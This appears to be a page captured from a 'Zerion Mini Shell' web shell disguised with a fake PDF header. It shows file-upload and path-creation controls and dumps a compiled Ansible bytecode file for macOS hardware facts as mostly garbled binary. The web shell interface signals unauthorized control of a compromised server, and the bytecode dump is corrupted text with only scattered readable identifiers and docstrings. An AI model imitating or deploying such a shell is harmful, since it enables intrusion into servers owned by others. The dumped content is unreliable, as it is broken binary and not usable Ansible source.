%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/facts/hardware/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/hardware/__pycache__/darwin.cpython-39.pyc

a

�)g��@stddlmZmZmZeZddlZddlZddlm	Z	ddl
mZmZddl
mZGdd�de�ZGdd	�d	e�ZdS)
�)�absolute_import�division�print_functionN)�get_bin_path)�Hardware�HardwareCollector)�
get_sysctlc@sFeZdZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�DarwinHardwarez�
    Darwin-specific subclass of Hardware.  Defines memory and CPU facts:
    - processor
    - processor_cores
    - memtotal_mb
    - memfree_mb
    - model
    - osversion
    - osrevision
    - uptime_seconds
    �DarwinNcCsbi}t|jgd��|_|��}|��}|��}|��}|�|�|�|�|�|�|�|�|S)N)ZhwZmachdepZkern)r�module�sysctl�
get_mac_facts�
get_cpu_facts�get_memory_facts�get_uptime_facts�update)�selfZcollected_factsZhardware_facts�	mac_facts�	cpu_facts�memory_factsZuptime_facts�r�N/usr/lib/python3.9/site-packages/ansible/module_utils/facts/hardware/darwin.py�populate*s



zDarwinHardware.populatecCsn|j�ddg�\}}}|dkr$t�St�}|��D]6}d|vr2|�dd�\}}d�|�����||��<q2|S)Nz/usr/sbin/system_profilerZSPHardwareDataTyperz: �� )r�run_command�dict�
splitlines�split�join�strip)r�rc�out�err�system_profile�line�key�valuerrr�get_system_profile:sz!DarwinHardware.get_system_profilecCs^i}|j�d�\}}}|dkr>|��d��d|d<|d<|jd|d<|jd	|d
<|S)Nzsysctl hw.modelr���rZmodelZproduct_namezkern.osversionZ	osversionzkern.osrevisionZ
osrevision)rrrrr)rrr!r"r#rrrr
Es zDarwinHardware.get_mac_factscCs~i}d|jvr,|jd|d<|jd|d<n.|��}d|d|df|d<|jd|d<|j�d	�pt|j�d
�ptd|d<|S)
Nzmachdep.cpu.brand_stringZ	processorzmachdep.cpu.core_countZprocessor_coresz%s @ %szProcessor NamezProcessor Speedzhw.physicalcpuz
hw.logicalcpuzhw.ncpu�Zprocessor_vcpus)rr(�get)rrr$rrrrOs
 zDarwinHardware.get_cpu_factsc	Cs*t|jd�dddd�}d}d}ztd�}WntyF|YS0|j�|�\}}}|dk�r&dd�|��D�}td	d�|D��}|��D],\}	}
zt|
�||	<Wq�ty�Yq�0q�|�	d
�r�||d
|7}|�	d�r�||d|7}|�	d��r||d|7}|d
|dd|d<|S)Nz
hw.memsizeir)�memtotal_mb�
memfree_mbiZvm_statcss |]}|�d��dd�VqdS)�.�:rN)�rstripr)�.0r%rrr�	<genexpr>n�z2DarwinHardware.get_memory_facts.<locals>.<genexpr>css|]\}}||��fVqdS)N)�lstrip)r1�k�vrrrr2qr3zPages wired downzPages activezPages inactiver,r-)
�intrr�
ValueErrorrrrr�itemsr+)rrZ
total_usedZ	page_sizeZvm_stat_commandr!r"r#Zmemory_statsr5r6rrrr\s4�



zDarwinHardware.get_memory_factsc	Cs||j�d�}|ddg}|jj|dd�\}}}d}t�|�}|dksNt|�|krRiSt�||d|��\}dtt��|�iS)Nrz-bz
kern.boottime)�encodingz@LrZuptime_seconds)	rrr�struct�calcsize�len�unpackr7�time)	rZ
sysctl_cmd�cmdr!r"r#Z
struct_formatZstruct_sizeZ
kern_boottimerrrr�s

�zDarwinHardware.get_uptime_facts)N)�__name__�
__module__�__qualname__�__doc__�platformrr(r
rrrrrrrr	s


*r	c@seZdZeZdZdS)�DarwinHardwareCollectorr
N)rArBrCr	Z_fact_classZ	_platformrrrrrF�srF)Z
__future__rrr�typeZ
__metaclass__r;r?Z#ansible.module_utils.common.processrZ(ansible.module_utils.facts.hardware.baserrZ!ansible.module_utils.facts.sysctlrr	rFrrrr�<module>s

Zerion Mini Shell 1.0